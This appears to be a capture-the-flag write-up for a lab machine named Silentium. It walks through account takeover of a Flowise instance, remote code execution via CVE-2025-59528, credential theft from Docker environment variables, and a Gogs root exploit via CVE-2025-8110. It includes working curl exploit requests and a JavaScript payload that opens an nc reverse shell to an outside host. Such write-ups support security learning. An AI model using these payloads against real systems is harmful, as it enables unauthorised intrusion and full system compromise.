Overview
Silentium is an easy Linux box with a surprisingly deep chain for its difficulty rating. We start by discovering a Flowise staging instance, exploit a critical unauthenticated account takeover vulnerability to grab admin access, then chain it with a separate RCE CVE to land a shell inside a Docker container. From there, careless environment variables hand us SSH credentials for the host. The final step involves port forwarding to a locally running Gogs instance and exploiting a symlink race condition to get a root shell.
Reconnaissance
nmap -sV -sC -T4 -O -p- 10.129.37.230
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (redirects to http://silentium.htb/)
Just two ports. Add the domain to the hosts file and go take a look at the website:
sudo nano /etc/hosts
# Add: 10.129.37.230 silentium.htb
The main site is a fairly standard institutional page. Nothing jumps out from the source code, but the leadership section names three employees: Marcus, Elena, and Ben. Worth noting for later.
Directory brute force turns up nothing useful, so let’s try virtual hosts:
gobuster vhost -u "http://silentium.htb" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
--append-domain
We find a virtual host at staging.silentium.htb. Add it to /etc/hosts and navigate to it.
Flowise Account Takeover
The staging subdomain serves a login portal for Flowise, an open source AI agent development platform. The page source confirms it’s Flowise.
Clicking “Forgot Password” and submitting a random email returns “User Not Found”, which means we can enumerate valid accounts. Using the employee names we found on the main site:
marcus.thorne@silentium.htb -- no
marcus@silentium.htb -- no
elena.rossi@silentium.htb -- no
elena@silentium.htb -- no
ben@silentium.htb -- valid!
Now we have a valid username. Rather than brute forcing the password, a bit of research turns up something much better.
The Flowise forgot-password endpoint returns a valid password reset token in the response body without any authentication or verification. This means we can generate a reset token for any user and take over their account immediately.
Step 1 — Request a reset token for ben:
curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'
The response includes a tempToken and confirms ben is an admin. Even better.
Step 2 — Use the token to reset the password:
curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"ben@silentium.htb",
"tempToken":"<token_from_previous_response>",
"password":"password"
}
}'
We’re now logged into Flowise as an admin.
RCE via CVE-2025-59528
Flowise is also vulnerable to CVE-2025-59528, a CVSS 10.0 RCE via JavaScript injection in the CustomMCP node. The mcpServerConfig field in the node configuration accepts JSON that is interpreted as JavaScript, with no sanitisation. Since we have admin access, we can abuse the API directly.
First, grab the default API key from Settings > API Keys in the dashboard. We’ll use it as a bearer token.
Start a listener:
nc -lvnp 4444
Create the payload:
cat > payload.json << 'EOF'
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.15 4444 >/tmp/f');return 1;})()} )"
}
}
EOF
Send it with the API key as the bearer token:
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <your_api_key>" \
-d @payload.json
Shell lands, but we’re root inside a Docker container, not on the host itself. Time to look around.
Credential Extraction from Docker Environment
Running env inside the container reveals all the environment variables the container was launched with. It’s a goldmine:
FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
SMTP_USERNAME=test
SENDER_EMAIL=ben@silentium.htb
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
Docker containers are often configured via environment variables, and it’s unfortunately common for secrets to be passed in this way. We have what looks like SSH credentials for ben.
ssh ben@silentium.htb
# Password: r04D!!_R4ge
User flag is at /home/ben/user.txt.
Internal Service Discovery
Running netstat -tulpn on the host reveals several internal services. Two stand out immediately:
127.0.0.1:3000
127.0.0.1:3001
Ports 3000 and 3001 are classic Gogs ports. Let’s confirm:
curl -s http://127.0.0.1:3001 | head -n 20
Confirmed, it’s Gogs — a self-hosted Git server. Let’s port forward so we can interact with it from our browser:
# Run this on your attack machine
ssh -L 3001:127.0.0.1:3001 ben@silentium.htb
Now browse to http://127.0.0.1:3001.
Gogs Version and Configuration
Back in the SSH session, let’s find the Gogs binary and check the version:
ps aux | grep gogs
/opt/gogs/gogs/gogs --version
# Gogs version 0.13.3
Checking the config file confirms Gogs is running as root:
cat /opt/gogs/gogs/custom/conf/app.ini
RUN_USER = root
HTTP_PORT = 3001
ROOT_PATH = /root/gogs-repositories
Running as root with repositories stored in /root. If we can get code execution via Gogs, we’re done.
Root via CVE-2025-8110
Gogs 0.13.3 is vulnerable to CVE-2025-8110, a symlink race condition that allows remote code execution via Git hooks. Since Gogs runs as root, any hook execution gives us a root shell.
Step 1 — Register an account on the Gogs instance at http://127.0.0.1:3001. Use any credentials, for example test:test!.
Step 2 — Generate an API token under Settings > Applications.
Step 3 — Clone the exploit and configure it:
git clone https://github.com/Ghxstsec/CVE-2025-8110
cd CVE-2025-8110
pip3 install -r requirements.txt
Open the script and update the username and API token to match what you just created.
Step 4 — Start a listener:
nc -lvnp 4444
Step 5 — Run the exploit:
python3 CVE-2025-8110-RCE.py -u http://127.0.0.1:3001 -lh 10.10.14.45 -lp 4444 -p 'test!'
The script will prompt you to configure a couple of git variables. Follow the prompts, then re-run the same command. A root shell lands on the listener.
Root flag is at /root/root.txt.
Attack Chain Summary
| Step | Detail |
|---|---|
| Recon | nmap, vhost scan → staging.silentium.htb running Flowise |
| User enumeration | Forgot password endpoint confirms ben@silentium.htb |
| Account takeover | Flowise unauthenticated token leak → reset ben’s password → admin access |
| RCE | CVE-2025-59528 JavaScript injection via CustomMCP API → shell in Docker container |
| Credential extraction | env inside container → SMTP_PASSWORD=r04D!!_R4ge |
| SSH | ssh ben@silentium.htb with extracted credentials → user flag |
| Internal discovery | netstat → Gogs on port 3001, running as root |
| Port forward | ssh -L 3001:127.0.0.1:3001 → Gogs accessible locally |
| Root | CVE-2025-8110 symlink race condition via Git hooks → root shell |
| Root flag | /root/root.txt |